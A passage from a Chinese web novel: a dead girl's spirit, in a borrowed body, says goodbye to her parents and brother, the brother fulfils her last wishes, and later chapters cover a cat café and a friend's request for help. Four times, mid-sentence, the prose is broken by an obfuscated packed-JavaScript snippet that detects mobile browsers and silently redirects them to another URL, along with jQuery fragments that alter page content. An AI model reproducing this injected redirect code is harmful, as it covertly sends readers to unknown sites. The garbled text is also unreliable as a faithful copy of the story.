随后她偏头看向爸爸,说:“这位戴先生请你务必要督促林女士好吗?我这个贴心小棉袄不在了,你这冷冰冰的铁甲也该学会自动生热了。” 林素女怔愣地看着这面生的小姑娘,不知怎的却越看越亲切。 戴山雁想起什么似的,又从随身带的包里掏吧掏吧,拿出那两枚银戒指来:“之前因为你们俩吵架离家出走是我不好,生病了没有及时回家也是我的错。我以为像平常那样住几天院就会好的。” 她拿出那女戒,拉起林素女的手戴上,然后满意地笑了笑:“正好。” 她又把另一枚男戒递给戴永辉,然而对方谨慎地看了她一眼,没有接。 戴山雁弯了弯嘴角,继续絮叨:“但我真的不是叛逆期到了不爱你们了,我就是想送你们周年纪念日礼物,怕赶不上。妈妈你看,这个戒指里面还有我刻的你们的名字哦。” 她拉起妈妈的手想给她展示,却感觉有温热的液体滴在手背上。戴山雁愣愣地抬起头,看见林素女的眼泪,慌了神:“你怎么又哭啦,我说错什么了吗?你是不是还是不信……” 下一秒,她觉得自己落入了一个温暖的怀抱。头顶是妈妈熟悉的呢喃:“我的乖宝……回家了。” 戴山雁吸了吸鼻子,忍着泪意笑着说:“妈妈,我没时间了。不要把宝贵的时间浪费给哭泣,你继续听我说。” 她絮絮叨叨地讲了很多事情,听得林素女又哭又笑的。而一旁的戴永辉和戴西港只是沉默地听着,不时露出会心一笑。 女孩的长相依旧是如此陌生,然而在场的每一个人看着她的一颦一笑,都知道是他们的至亲回来了。 戴山雁抬起头,捧起林素女的脸,认认真真地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818824|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“妈妈,我特别特别感谢你带我来到这个世界,也很喜欢你给我取的这个名字。医生说我活不过一岁、活不过十八岁,但我都撑过来了!我获得了比预期要长很多的生命,已经心满意足啦。” 林素女听女儿说的这一番如同告别的话,心里细细密密地泛出说不上来的恐慌——这是一种得而复失的恐惧,她拉住戴山雁的手臂问:“什么意思?山雁,你不能留下来吗?” 戴山雁眼含着泪摇头,轻柔而坚定地移开妈妈的手,又捧起另一枚戒指走到爸爸面前。她微笑着向他伸出手掌心。 在短暂的沉默后,戴永辉也伸出了他的左手。戴山雁很仔细地把银戒替他戴上,小声抱怨着:“老爸你的名字也太难写了,我真的刻了很久,眼睛都要花了。” 戴永辉低头看着自己手上那枚闪闪的戒指,用力地眨着眼睛,然后深深地叹了口气。 戴山雁左看看右看看,最后满意地笑起来,把手背到身后,很神气地说:“爸爸你要照顾好妈妈,你俩以后都不许吵架了。想我的时候就看看这个戒指,至于你们没有来我葬礼的事情,我很大度的,就不计较啦!” 她看了眼墙壁上挂着的钟表,指针一刻也无法抗拒地向前走着。而她则后退几步,宣布道:“我不喜欢最后一面这个说法,我们总会再见面的。窗边的蝴蝶、墙角的小猫、天上落下的雨滴都有可能是我。当然,也可能我这只落后的大雁终于还是笨鸟先飞,比你们都先到终点。 戴山雁莞尔一笑:“所以,我们今天就见到这里。” 诀别的意思是这样委婉而明晰。 “山雁!”林素女早已经泣不成声,她想坐起来拉住戴山雁的衣袖,被戴永辉拉回了怀里。 他对林素女摇了摇头。 戴山雁笑容不减,她用自己能做到最雀跃的样子与他们告别:“接下来是和戴西港交流的时间,小辈讲话大人就别参与啦,爸爸妈妈,拜拜!” 林素女眼泪一刻也没有停止,但依旧勉力对她露出一个笑容来:“再见,我的乖女儿……”而戴永辉则拉紧妻子的手,用力地对女儿点了点头。 两只银戒的主人就这样紧紧地交握在一起,象征永不分离。 随着大门关上,抽泣声也被隔绝在了另一个房间。 戴山雁靠在门上,深呼出一口气,神情怔怔。 是最后一面啊…… 其实人死后,到底会去哪,会变成什么?戴山雁并不知道,她不知道自己被那个无常带走后会经历什么。前路对她而言宛如一个无底的深渊,让人不敢面对。 可以的话,希望能转世成人。实在不济,变成可爱的小动物,养在妈妈身边也很不错。 “最后的时间,不打算陪着爸妈过吗?”戴西港问。 他没忍住又看了一眼墙上的时钟——下午四点三十分,离预计时间还剩十分钟——尽管那奔腾不息的时间并不会因为他的观察而驻足,但他还是忍不住一看再看。 戴山雁摇了摇头:“那太残忍了。”见到亲人离去的瞬间不亚于身处地狱,第二次亲历失去女儿,对两个年逾半百的人来说绝对是个沉重的打击。 戴西港无奈地笑问:“对我就不残忍了?” 她认真地看了他一眼,说:“你不一样。爸妈就剩你了,你得撑起这个家。” 戴山雁又想起了什么似的,对戴西港勾了勾手,轻声对他嘱咐了几句。 戴西港点头表示知道,过了会,终于没忍住问她:“你就没有什么想和我说的吗?” 她和这么多人交代了这么多事情,对他却只有一句“要撑起这个家”。 戴山雁扬了扬眉,说:“当然有啊,我可是写了很多在那张纸……” 她话还没说完,突然身体向后一仰,屈膝向戴西港的方向倒去。戴西港沉默地接住了女孩,看着她漆黑的发顶。 抬头看,墙壁上的指针正正好好地转到了四点四十分,分毫不差。 女孩的面容沉静,相貌与刚才没有变化,但他能感觉到,有什么很珍贵的东西正在悄然离去。 45.向日葵 常喜乐睁开眼睛的时候,觉得头痛欲裂。她的眼前朦胧一片,等数个虚影归而为一时,才发现戴西港坐在自己对面的沙发上浏览着一封信件。他的左手反复摩挲着那张已经残破不堪的纸,眼神里有着常喜乐看不懂的情绪。 “戴先生。”常喜乐发现自己被很好地安置在一个沙发上,她晃了晃脑袋想缓解剧烈的头痛,随后左右张望着,问,“现在几点了?” 戴西港从她张口开始,眼神就黯了下来,他微微低头,肯定道:“你是常喜乐。” 常喜乐此时也已经找到了墙上挂着的时钟,距离约定的时间已经过去三四个小时了。 啊……戴山雁她,已经离开了吗? 可是那无常呢?常喜乐还没放弃寻找,她站起身,试图找到那个黑色鬼影。既然他和自己做了约定,现在戴山雁告别完,也该到验收承诺的时候了。他总不会就这么放过常喜乐离开了吧? 如果能找到那个姓谢的无常,常喜乐就能再见到戴山雁——她们还没有好好告过别呢。 但没有,这整个楼层里除了常喜乐,就只剩下戴西港。 他站起身,把脱下的西装外套搭在手臂上,对她说:“走吧,我送你回学校。” 客厅的窗户没有关紧,有风拂过,桌上那张颜色陈旧的纸随风飘起,落到了常喜乐的面前。 她俯身捡起那张纸,上面写满了字,字迹娟秀。纸张原本被撕碎成了很多片,如今由透明胶带又小心地粘了起来。 常喜乐发誓,她不是有意去看上面的字的。 [并不太亲爱的哥哥,鉴于离别总是来得很突然,为了不至于到时让大家太过手忙脚乱,咳咳,我要在这里宣布一下遗愿清单。 1.在我的葬礼上不要哭 2.葬礼上不准穿黑色衣服 ……] 下一秒,一只修长的手把泛黄纸张迅速抽走。常喜乐抬眼,对上戴西港冷漠的视线。 这就是戴山雁说的,那份被撕毁的遗书吗? “走吧。” 雨停后,葬礼也到达尾声,客人们都陆续离场了。 常喜乐看了眼身侧那位沉默寡言的安秘书。戴西港明明说了要送她,中途却又离开了,改让随行的安秘书带她出门。大概富人的时间总是很宝贵,像这种无足轻重的小事大可交给时间价值低于他们的人来做。 两人路过前厅的那座小花园时,常喜乐远远地看到那个精致的棺材里躺着的女孩。她的五官美丽依旧,双眼紧闭、面容宁静仿佛正在安睡,身上摆满了美丽芬芳的鲜花。 她心里一瞬间涌上一股不真实的感觉,上一秒戴山雁还在她耳边叽叽喳喳地讲话,下一秒就变成一具冷冰冰的尸体躺在棺材里,再也不会开口说:“走,喜乐,带你去欣赏我的珍藏品!” 常喜乐停下脚步就这么望着戴山雁躺着的方向,一旁的安秘书则向另一个方向微微倾身。 一位高个男人出现在两人的视线里,他穿了一身丝绒质感的藕粉色条纹西装,怀里抱着一大捧盛放的向日葵。他手腕上戴着一串手工制的铜钱流苏手串,在走动中互相碰撞着发出叮铃铃的响声,与这个非黑即白的葬礼现场格格不入。 “那是谁?”常喜乐望着他的背影,不记得今天有在葬礼上看到这样的人物。 “大少爷。”秘书回答。 戴家的大少爷……常喜乐的脑子空白了一瞬间才转过弯来——那不就是戴西港。 他刚才是去换衣服了? 常喜乐目送着戴西港大步走到戴山雁的棺材前。他凝望着她的面庞,随后轻轻伸手把她怀里的在日照下有些脱水的向日葵拢起来归到一边,然后才细致地把手中那一大捧金色向日葵铺陈在她的周围。 最后,他深深地再望了戴山雁一眼,才转头看向常喜乐,说了声:“走吧。” “啊?哦……”常喜乐跟在戴西港后面,不时打量他一眼。戴西港的五官深邃,有着艳丽的异域风情,他身形瘦高,这一身亮眼的西服相当衬他。假如这不是葬礼、而他的脸色又不是这样冷若冰霜的话,过路的行人该忍不住要吹一声口哨了。 她想起了那纸遗书上写的第二则要求: [不准穿黑色衣服] 然而戴西港周围的气压实在太低,常喜乐没再说话,心里开始想别的事情。原本她只希望替戴山雁完成遗愿,也算是日行一善。然而她没想到戴山雁离开得这样突然,再之后要做什么,常喜乐一时迷茫。 她想得太入神,没注意到安秘书已经悄然离开。直到她跟着坐上了山庄旁一辆黑色山地车的副驾驶时,才发现主驾驶位坐的是戴西港。 常喜乐左右张望,问:“安秘书呢?” 戴西港垂眼看她,扬了扬下巴,提醒她:“安全带。” “你亲自送我啊?”常喜乐没忘记她刚来的时候戴西港是怎么呛她的,她把手搭在了车门把手上,干笑两声,回绝道,“还是不麻烦了,我其实可以自己回去的。” “滴”的一声响,常喜乐按了一下门把手,车门却纹丝不动。她不可置信地回头看向戴西港,对方则慢条斯理地把手从锁车键上收回来。 这是在干什么,不知道的还以为要实施绑架呢。 戴西港倾身向常喜乐靠过来,吓得她紧贴在车靠背上,连呼吸都不敢。下一秒,他手一伸,替她系上了安全带,随后启动了车辆。 这一路实在太安静,只能听见彼此的呼吸声。常喜乐的手还搭在门把手上,看向戴西港这一身扎眼的服饰,她没忍住问:“你临时换衣服,是为了满足山雁的遗愿吗?” 冰块脸没说话。 过了会,常喜乐的余光从后视镜里看到他点了点头。 “她喜欢我这样穿。”戴西港回想起戴山雁前几年精心准备送给他的圣诞礼物。 那时他觉得这是来自妹妹的例行捉弄,无奈地拧了拧眉,心说亏他还认真准备了戴山雁喜欢的礼物。 戴山雁当时是怎么说的来着——“哥,要不是有家业要继承,我真的会很支持你去当模特。求求你穿穿看嘛!我觉得这种衣服超级适合你!这是我的遗愿之一——” “住口。”这话太不吉利了,戴西港呵斥了她。 “你总得接受我会死这件事的。”戴山雁笑容不改,说出的话却格外残忍,她张开手感受阳光,眯着眼睛喟叹道,“书上说过,与其为尚未到来的离别痛哭,不如微笑着迎接死亡。” 戴西港不接受。他把那封遗书撕碎,就当从来没有看过。两人就这么吵了一架,许久都没有和好。 常喜乐静静地听着,她偏过头去,很认真地说:“山雁说的没错,你的确很适合这样的衣服。” 戴西港又沉默了一会,他斟酌了很久,才问:“你之前从没听说过我吗?” 常喜乐疑惑,她回忆了一下,不是很确定地说:“大概在某些新闻网页上见过你吧?但这种网页一般划过去也就算了。” “……”戴西港没得到满意的答案。向来他提出的问题,碰壁一次就不会再纠结了。然而他抿了抿嘴,继续问,“山雁她,从来没和你提过我?” 常喜乐愣了愣,才想起来今天刚见面的时候,她回呛戴西港的那句“巧了,我也从没听她说起过你。” 原来他这么在意。 见常喜乐沉默,戴西港大概也就知道了答案,他勉强弯了弯嘴角,下了定论:“看来她还在生我的气。” 常喜乐是能替戴山雁参加葬礼的关系,却从没听她说起过她的兄长,不就意味着她还不肯原谅他吗?也对,毕竟他这个做兄长的不仅和她置气,还一直躲在国外不肯回来——直到她死前。 “山雁曾经告诉我,”常喜乐望着车前玻璃,那里摆了一朵小小的鲜嫩的金黄色花,显然它的主人会定期进行更换,“有人和她说:向日葵象征朝阳、精力充沛和健康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825414|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她很喜欢,所以借花献佛,送我一束。” 常喜乐转头问他:“说的是你吗?” 戴西港不语,过了一会儿,他突然把车停靠在了路边。 常喜乐有些不知所措地看了眼窗外,此刻车已经开到了热闹的市中心,她礼貌地说:“其实也差不多到了,你在这把我放下,我坐地铁回学校也……行?” 她说着说着就噤声了,一丁点声音也不敢发出来。 因为这位不苟言笑,冷面待人的先生正低着头,他双手紧握着方向盘,身体微微发颤。 “滴答,滴答。”有水珠滴下的声音。常喜乐迅速地别开脸看向窗外,什么也没说。 热闹繁华的街头,那位一直强撑着替家人主持葬礼的青年,在只见过一面的陌生人面前落下了眼泪。 过了好一会儿,戴西港才恢复了平静。身边默默伸出一只手来,递给他一张餐巾纸。 他往右看了一眼,常喜乐坚定地把头偏向窗外,一眼也不肯看他现在这副狼狈的样子。 感受到手上的纸被接走之后,常喜乐才下决心一鼓作气地说:“我在这下车就可以了,你把车锁打开吧,不麻烦你了。” 她真的还没有内核强大到对一个痛失亲者的陌生人冷漠以待,然而她也说不出“别伤心了”这种毫无用处的场面话,此刻不打扰就是她能做到的极限了。 然而戴西港还是没有打开车锁,他冷静地又发动了车子,说:“山雁说你的运气很差,嘱咐我一定把你安全送到住所。这也是她的遗愿之一。” 好罢。 常喜乐没有再多说,只希望这段路程能短一点再短一点。 等车子终于开到了学校正门口后,常喜乐长呼出一口气,她道了一声谢谢就准备拉开车门。 然而,主驾驶的那位还是没有打开车锁。 常喜乐面带微笑地转头问他:“还有什么事吗?” 戴西港单手拿着手机递给常喜乐:“请给我你的电话号码。” “我不觉得我们以后还会再见面。”常喜乐想不出互留联系方式的理由,戴西港总不至于现在还有心情搭讪她。 戴西港沉声道:“为了报答你为山雁所做的事,戴家会给予你报酬。” “山雁是我的朋友,我自愿帮忙,没有想过要报酬。”常喜乐依旧拒绝,她头疼地想起了戴山雁给她的银行卡,思衬着要不干脆现在一起交还给戴西港。 戴西港叹了一口气,他说:“从你接触山雁的那一刻起,你的个人信息在我们这已经无所遁形了。” 换言之,向她要电话号码只是一种礼貌。哪怕不给,也不妨碍戴西港在有需要的时候联系她。 “那就等你有需要的时候再自己想办法联系我。”常喜乐吃软不吃硬,终于气笑了,“没听说过有这样对待妹妹朋友的。” 戴西港深深看了她一眼,终于打开了车锁,他下车,替常喜乐拉开她那一侧的车门。 “下次见。”他轻声说。 …… 目送着常喜乐走进学校大门之后,戴西港坐在驾驶座上,迟迟没有离开。 他拿着那张泛黄的旧纸,视线落在了它的底端。 那晚不欢而散后,戴西港从垃圾桶里一片片捡起支离破碎的信件,花了一晚上重新粘贴好。 他粘好后就把这封遗书扔进了保险柜的最里层。 至于里面的内容,早在日复一日中被淡忘。遗愿是将死之人提出的东西,他的妹妹还活蹦乱跳地在和他斗嘴,用不着这种东西。 经年后,这封长长的不受待见的遗书终于又重见天日了。 在其结尾,写着这样一段话: [最后,也是最重要的一点。我不在,你们也要好好地生活下去,不允许自暴自弃。 那就这样,山水有相逢,我们来生再见! PS:等我死后,请在我的墓前种满向日葵。] 46.猫做的咖啡 常喜乐走在回宿舍的路上,这才觉得肚子饿了。早上起晚了,出门太匆忙,因而什么也没吃。在戴家因为没胃口,也就是喝了几口酒而已。 寝室存粮告罄,她临时起意拐了个弯,准备去学校里的下午茶一条街逛逛。 路上行人稀少,由于兼职的学生也放假去了,那条街上的店面大多都在休息。常喜乐逛了会儿,心想该不会还得原路返回去校门口的商业街买吃的吧。 她饿得快犯低血糖了,不知道能不能撑过去后街的那段路。 正当常喜乐准备打退堂鼓的时候,突然听见一声猫叫。 “人!你可以来这里觅食!” 难道我终于是饿疯了吗?常喜乐恍惚了一瞬间,定睛一看,瞧见路的尽头有一只狸花猫。它看了常喜乐一眼,确定她跟过来后就往前跑去了。 临拐角的街口,有风铃声响起。常喜乐探头,发现了一家从前没注意到过的新店。探出的木质招牌上挂着晴天娃娃样式的瓷风铃,大大的好消息是门口挂着的牌子是“营业中”。 那只狸花猫扭头再望了常喜乐一眼,从店门边墙角特意为小猫留的翻转式小门钻了进去。 常喜乐走近,轻声念出了招牌上的名字:“猫做的咖啡。” 她一阵恶寒:“怪怪的名字。” 但莫名又觉得有些熟悉。 总之先进去看看吧,不管是什么,只要能吃就好。她推开玻璃门,没听见这种情境下通常会出现的“欢迎光临”字眼。诶……不会其实没在营业吧?不过也可能只是大学生兼职,并没有这方面的服务意识培训。 常喜乐抬眼往服务台看去,意外地挑了挑眉毛。 那位白毛服务员听见风铃被门带动的声音,终于把眼睛从他的画板上抬了起来。他站起身,拧着眉毛说:“今天不营业。” 他对上常喜乐的视线三秒,陷入了沉默。 为什么只对视了三秒呢?因为常喜乐撑过三秒之后终于眼前一黑,向前倒下了。在她即将给这位打算赶客的店员一叩首之前,脑门先碰到的是个温暖的胸膛。 安平揽住常喜乐,看着她漆黑的发顶,和旁边蹲坐着的狸花猫对视了一眼。 “喵——”小猫长长地叫了一声。 等常喜乐醒来的时候,她正半躺在店内的懒人沙发上。她迷茫地起身张望了一番,看见安平端着一杯热腾腾的牛奶来到玻璃窗边的桌旁。他放好牛奶后,瞥了常喜乐一眼,走过来向她伸出手。 常喜乐刚想说话,才察觉嘴巴里有东西。她用舌头绕着那小球似的东西转了一圈——甜滋滋的,是巧克力。 她也没扭捏,拉住安平的手借力站了起来:“谢谢你。” 还好店里有人。要是常喜乐随便在什么无人的街角昏过去,等假期结束才被人发现的时候就真的凉凉了。如果运气够不好的话,那位姓谢的无常还会来带走她的魂魄,顺便履行一下今天他提出的那一听就很不平等的条约。 也还好是安平。常喜乐回想起前段时间在网络上看到的——有人在拿外卖的时候低血糖发作昏倒,醒来时外卖小哥一边哭一边往他嘴里塞吃的——她一时也分不清这样的窘况究竟是被前男友还是被陌生人发现更糟了。 她转头看了眼桌上冒着热气的牛奶,没忍住问了一句:“不是说今天不营业吗?” 说完就后悔了。常喜乐闭了闭眼睛,心道人家是好心例外给你做喝的,还当是以前那样可以随便开玩笑逗人的么? “是,记得给三倍加班费。”安平摆了个收款码在桌上,又走回服务台捡起了画板。 常喜乐坐在椅子上,端起杯子,小口小口地喝牛奶。她默默打量着安平——他惯常穿着一件白衬衫和水洗色的牛仔裤,还在国庆这种别人都在亲人团聚或者出门游玩的时候留在猫咖店打工。 安平目前的生活条件或许的确不太好。尽管不是恋人,朋友总还算的。常喜乐拿起手机扫了二维码,点好了数字转过去。 他的手机叮咚响了一声,安平瞟了眼自动亮起的手机屏幕,淡淡地说:“不知道的还以为我这是黑店,一杯牛奶千八百块的。” “可不是黑店吗?”常喜乐没忍住低头笑了起来,“怎么真的就叫猫做的咖啡,猫做错了什么要沦为咖啡原料!” 安平抬头望了眼店外的招牌,没接话。 “但是……”常喜乐往对面由栅栏隔开的一大片空间里看,里头摆了猫爬架、猫抓板、水、猫粮、玩具,凡是你能想到的,里头都应有尽有——除了猫。 “猫咖里为什么没有猫呢?”她转头望向自从常喜乐醒来就重新占据懒人沙发高地的那只狸花猫,店里唯一的这只猫还是从外头自己溜达进来的。 不能真是用猫做咖啡了吧……哈哈。 “其实是学校流浪猫收容所,它们想来就来,想走就走。”安平一手支着头,就着这个姿势注视着她。 “那店老板还真是个好人呢。”常喜乐由衷赞叹。学校里的猫在平常总是能遇到好心学生投喂——有时吃的种类太多了甚至还会挑食。但每到学生放假,尤其是寒假,对小猫们来说就是个很难捱的时期了。 天冷,无处御寒,也很难找到吃的。常喜乐上高中时就曾在食堂附近的小径上看见过小猫冻僵的尸体。 常喜乐感慨地望着店里这只悠然自得、自顾自舔毛的狸花猫,看来它这个冬天不用愁了。 安平注意到她的视线,不知想到了什么,突然补充道,“猫不接客。” “把我当什么人了!”常喜乐一脸义正言辞,但很快就改口道,“我好歹付了闝资的,撸一把小猫简直合情合理。” 安平原本以手撑着下巴,手指有规律地在脸上敲打。过了会,他站起身,走到常喜乐面前,弯下了腰,说:“摸吧。” 常喜乐以前就很爱摸安平的头发。他的白发柔顺而有光泽,她喜欢把这略长的发丝一圈圈缠绕在手上再松开。但安平一向不喜欢被弄乱头发,每每会立刻伸手锁住她两个手腕,进行短期扣押。 此刻,他却顺从地由她摸头发。 终究是为生计所迫导致的,真是太令人心酸了。常喜乐的手却蠢蠢欲动起来,甚至想再给他打一笔钱。难道“救风尘”真是刻在C国人骨子里的癖好?常喜乐默默感叹了一句,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14842262|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手揉起他的头发来。蓬松的发丝在她的抚摸下微微炸毛,安平却一点也没不耐烦,常喜乐看着他修长的后颈,随后移开视线、收回了手。 “回本了?”安平抬起头,毫无接完客的不好意思。他顶着一头凌乱的头发坐到常喜乐对面的椅子上。 常喜乐看着他这幅刚被“蹂躏”完的样子,莫名气不打一处来。她抬起手替他整理头发,但一言不发,连玩笑也不开了。 “生气了?”安平敏锐地察觉到常喜乐的情绪,这次却不懂是为什么。 莫非是还没摸够?安平眸光转向那懒人沙发上的狸花猫,只一个眼神,那狸花猫就伸了个懒腰,又从墙角的小门跑出去了。 他沉吟着,还没想出解决办法来,突然听见常喜乐问:“别人也可以这样吗?” 她的声音闷闷的。 “怎样?”他问。 “给你钱,然后揉你的头发。”常喜乐艰难地形容刚才所发生的事情,尽量不让它听起来太糟糕。 安平的眼睛不着痕迹地弯了弯:“本店新开,目前只有你提出过这个要求……客人。 常喜乐瞪着他。 不知道是不是低血糖,使她的思路微微有些凝滞。 她其实有好多话想对安平说。就像从前那样,他们一起坐在画室、或是林环湖边,常喜乐叽叽喳喳地谈论着自己的一天见闻,安平则默默倾听,不时提问几句。 短短几天,她从相信世界上有鬼神,到参加朋友的葬礼、被鬼附身、再到被迫和无常做了交易……诸如此类的事情,说是做梦都过于光怪陆离,常喜乐不能向不许她迷信的父母倾诉,也不愿告诉小姨戴山雁的存在。可是再不说出来,她觉得自己就快要疯掉了。 安平耐心地等她开口,期间,他伸出手,替常喜乐揩掉了嘴角的水珠。他拿起杯子尝了尝她的牛奶,评价道:“过于甜了。” “朋友之间不该是这样的。”常喜乐突然叫了他一声名字,“安平。” “那该是什么样?”安平没想到这么半天她就只得出了这么个结论。 从前,常喜乐说他们不像恋人,到现在,又说不像朋友。 难道非要当陌生人才可以吗? 安平眯了眯眼睛,第一次思考他原先的怀柔政策是否太过迂回了。 “要不我包养你吧。”常喜乐总是语出惊人,今天尤其。 安平原本已经思考好的解决方案一瞬间被全部推翻。这句话对他来说有点超纲了,他眨眨眼,过了会儿才确定她不是在开玩笑。 “具体方式是?”安平试探性地多问,怕他误解了其中的意思。 “我给你钱,你陪我聊天。”常喜乐有些紧张地握紧了手——她自认为这个方法很公平,因为安平需要钱,而她需要安平的陪伴。但还是后知后觉地意识到这样直接砸钱的方式或许会有些伤人。 安平却不这么认为——事实上,常喜乐提出的方案还真是标准的利敌一千自损两万五。 他微微一笑,纠正道:“你说的这种关系好像有更精准的方式来描述。” “是什么?” “咨询。” 47.帮忙 常喜乐慢慢地喝完了热牛奶,问:“店里有没有什么吃的,有菜单吗?” “没有。”安平难得显出一点无措来,他干巴巴地说,“我带你出去吃吧?” “不用了。”常喜乐拍拍安平的肩膀,贴心地说,“你还是好好工作吧,被老板发现你擅离职守就糟糕啦。” 安平张了张嘴,欲言又止。 常喜乐站起身,疑惑地打断了他要说的话:“但你们这个店里到底靠什么盈利,既不能撸猫,也不能吃东西的。老板是在为猫做慈善吗?” 要知道在学校这条竞争激烈的下午茶一条街,没点手艺的店可是很容易倒闭的。 “为了积累功德吧。”安平无所谓道,他突然问,“那以后,我们还会经常见面吗?” 毕竟他们是被称为包养又或者是咨询的关系。 常喜乐心情很好地抬起手摸了摸安平的头发,说:“这两种关系都有一个共性。” “就是我需要你的时候,你再出现。” 这话听起来很坏,大概会伤到安平,常喜乐的良心有一瞬间感到了些许“不安”。 然而安平只是静静地看着她,说: “这就是我一直在做的。” 常喜乐慢慢踱步走向学校附近的商业美食街,她一走进家麻辣烫馆,店员就迎上来说:“恭喜你,是我们店今天的第100位顾客,您今天的消费都免单。” 无独有偶,常喜乐走进小卖部买了一罐可乐,拉环上写着“再来一瓶。” 常喜乐的眼神从平静到不可思议。 她走进了从未踏足过的福利彩票店,买了一张二十元的刮刮乐。 “没关系,赔了就当做慈善。”常喜乐深吸一口气慢慢刮开了彩票。 中了二十元。 哦豁。 这真的已经非常难得了,偏财运以前从来轮不到常喜乐。 这是不是代表着她的运气回来了一点?念慈师父当初说的“多做好事攒功德”诚不欺她! 帮助亡魂完成遗愿是一桩,替在世的人消除遗憾是一桩……不知道资助贫困青年算不算。 常喜乐拿着一罐开了的可乐和一罐封好的走在路上,她包里的手机叮铃铃响了一声。 没有空闲的手来拿手机了。她把封好的可乐放在路边的花坛台阶上,拿出手机——是杨瑰司发来了一条消息。 王鬼:[你什么时候有空?我们谈谈吧] 几天前,杨瑰司曾对她说,有些事以后再告诉她。 大概就是今天? 常喜乐思索了一会儿,很快回复了信息。 (^v^) :[就现在。] 等常喜乐敲开杨瑰司宿舍的门时,简直被她不修边幅的形象惊呆了。她一反往常固定的酷酷的哥特妆容,素面朝天、头发究极炸毛、穿着一件大T恤和短裤,把泛着凉气的可乐往常喜乐脸上一贴,调侃道:“哟,这条裙子很好看。” 她视线下移,挑了挑眉毛:“来就来了,还带什么礼物。” 常喜乐跟着杨瑰司进屋,把可乐放在鞋柜顶上,一边换鞋一边说:“我买一瓶解渴,另一瓶是再来一瓶送的。” 杨瑰司回头仔细端详她,半天憋出来个:“哟?” 常喜乐礼尚往来:“哟。” 杨瑰司接过新可乐扔进冰箱,让常喜乐在沙发上随便坐。常喜乐看了眼沙发上堆着的衣服和杂物,皱眉道:“我才走几天,你家里变化怎么这么大。” 之前杨瑰司的房间一直非常干净整洁,几乎没有一点多余的家具。 “反正也没人在意了。”杨瑰司嘟囔了一句,把沙发上的一堆衣服抱起来转移到了阳台边的椅子上,给常喜乐腾出个空位来。 “说说看吧,你有什么想要告诉我的。”常喜乐坐好后,问她。 杨瑰司两手放在双膝上,难得显得局促:“我想,请你帮我个忙。” “行。”常喜乐答应地很爽快。 “我知道这有点突然,但你听我讲……诶?”杨瑰司愣了愣,“你不先问问我是什么事吗?” “只要我能做到,我就会帮你。”常喜乐单手开了冰可乐喝了一口,“你说吧,什么忙。” 先不说杨瑰司已经帮过她很多,单是“帮助他人”这种事常喜乐就难以拒绝——她刚刚已经重新感受了拥有普通人的运气是多么得幸福。 “好。”杨瑰司又重新酝酿了一下,说,“我没办法再自己运营鬼司这个账号了。” “为什么?”常喜乐几天前就已经在疑惑。 “你是不是很好奇,以前我究竟是怎么看出来别人身上遭遇了什么非自然事件?”杨瑰司问。 常喜乐点头。 “以前,我的这只眼睛能看到别人看不到的东西。”杨瑰司抬起手,将食指指尖在右眼眼睑下方点了点,而后她往沙发背上一靠,颓丧地说,“现在不行了。” “这又是为什么?”不等杨瑰司回答,常喜乐联想到她这特别能力消失的节点,猜测道,“是和你曾被山间野鬼附身有关系吗?” 杨瑰司垂下眼,有些落寞地点点头:“算是吧。” “那,有什么我能帮你的呢?”常喜乐对鬼神之事可以说完全不了解,仅有的一些知识还是从杨瑰司或者小姨那了解到的。她自认没有能力帮杨瑰司恢复阴阳眼。 “如果我没猜错,你能看透动物的心声是吗?”杨瑰司沉吟片刻,问出了这个问题。 其实她忍到现在才问,已经出乎常喜乐的意料了。那天常喜乐照着那位租客的猫所说的话指点杨瑰司,就已经做好了被她发现这一特别能力的准备。 “说的不太准确。我只能听懂猫的语言,而且如果猫本身闭口不言、又或者说了谎话,我都是没办法分辨的。”常喜乐问,“那位连线粉丝后来怎么样,获得赔偿搬家了吗?” 杨瑰司扶了扶额头,说:“他每月租金被降到了100元。” 常喜乐:? 杨瑰司托着脸出神:“要是我也能租到这种房就好了。” 对方所处的可是寸土寸金的S市,这样的房租就算是凶宅似乎也完全可以接受了呢。 常喜乐想象了一下,还是打了个冷颤:“我会害怕。” 杨瑰司瞥了她一眼:“人比鬼可怕多了。” “好了,所以你究竟需要我帮你什么。”常喜乐试图把脱缰的话题拉回正轨,给她刚才的承诺补充了个条件,“但陪你住凶宅不太可行。” “鬼司这个账号原来的直播方向已经无法继续了,我希望邀请你建立新账号与我合作,一起研究以猫为主体的灵异事件。”杨瑰司又紧张地掰起了手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 